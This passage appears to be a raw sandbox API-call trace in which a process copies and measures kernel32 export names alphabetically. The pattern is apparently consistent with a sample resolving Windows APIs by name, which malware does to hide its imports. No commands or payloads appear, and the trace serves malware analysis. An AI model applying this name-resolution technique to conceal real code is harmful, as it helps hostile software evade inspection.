out: lpString1="CancelIo") returned="CancelIo" [0121.757] lstrlenA (lpString="CANCELIO") returned 8 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0121.757] lstrlenA (lpString="CANCELIOEX") returned 10 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0121.757] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0121.757] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0121.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0121.758] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0121.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0121.758] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0121.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0121.758] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0121.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0121.758] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0121.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0121.758] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0121.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0121.758] lstrlenA (lpString="CHECKELEVATION") returned 14 [0121.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0121.758] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0121.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0121.758] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0121.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0121.758] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0121.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0121.758] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0121.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0121.758] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0121.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0121.758] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0121.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0121.758] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0121.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0121.758] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0121.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0121.758] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0121.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0121.758] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0121.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0121.758] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0121.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0121.758] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0121.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0121.758] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0121.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0121.759] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0121.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0121.759] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0121.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0121.759] lstrlenA (lpString="CLOSESTATE") returned 10 [0121.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0121.759] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0121.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0121.759] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0121.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0121.759] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0121.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0121.759] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0121.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0121.759] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0121.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0121.759] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0121.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0121.759] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0121.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0121.759] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0121.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0121.759] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0121.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0121.759] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0121.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0121.759] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0121.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0121.759] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0121.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0121.759] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0121.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0121.759] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0121.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0121.759] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0121.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0121.759] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0121.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0121.759] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0121.760] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0121.760] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0121.760] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0121.760] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0121.760] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0121.760] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0121.760] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0121.760] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0121.760] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0121.760] lstrlenA (lpString="COPYCONTEXT") returned 11 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0121.760] lstrlenA (lpString="COPYFILE2") returned 9 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0121.760] lstrlenA (lpString="COPYFILEA") returned 9 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0121.760] lstrlenA (lpString="COPYFILEEXA") returned 11 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0121.760] lstrlenA (lpString="COPYFILEEXW") returned 11 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0121.760] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0121.760] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0121.760] lstrlenA (lpString="COPYFILEW") returned 9 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0121.760] lstrlenA (lpString="COPYLZFILE") returned 10 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0121.760] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0121.760] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0121.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0121.760] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0121.761] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0121.761] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0121.761] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0121.761] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0121.761] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0121.761] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0121.761] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0121.761] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0121.761] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0121.761] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0121.761] lstrlenA (lpString="CREATEEVENTA") returned 12 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0121.761] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0121.761] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0121.761] lstrlenA (lpString="CREATEEVENTW") returned 12 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0121.761] lstrlenA (lpString="CREATEFIBER") returned 11 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0121.761] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0121.761] lstrlenA (lpString="CREATEFILE2") returned 11 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0121.761] lstrlenA (lpString="CREATEFILEA") returned 11 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0121.761] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0121.761] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0121.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0121.761] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0121.762] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0121.762] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0121.762] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0121.762] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0121.762] lstrlenA (lpString="CREATEFILEW") returned 11 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0121.762] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0121.762] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0121.762] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0121.762] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0121.762] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0121.762] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0121.762] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0121.762] lstrlenA (lpString="CREATEJOBSET") returned 12 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0121.762] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0121.762] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0121.762] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0121.762] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0121.762] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0121.762] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0121.762] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0121.762] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0121.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0121.763] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0121.763] lstrlenA (lpString="CREATEPIPE") returned 10 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0121.763] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0121.763] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0121.763] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0121.763] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0121.763] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0121.763] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0121.763] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0121.763] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0121.763] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0121.763] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0121.763] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0121.763] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0121.763] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0121.763] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0121.763] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0121.763] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0121.763] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0121.763] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0121.763] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0121.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0121.764] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0121.764] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0121.764] lstrlenA (lpString="CREATETHREAD") returned 12 [0121.764] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: 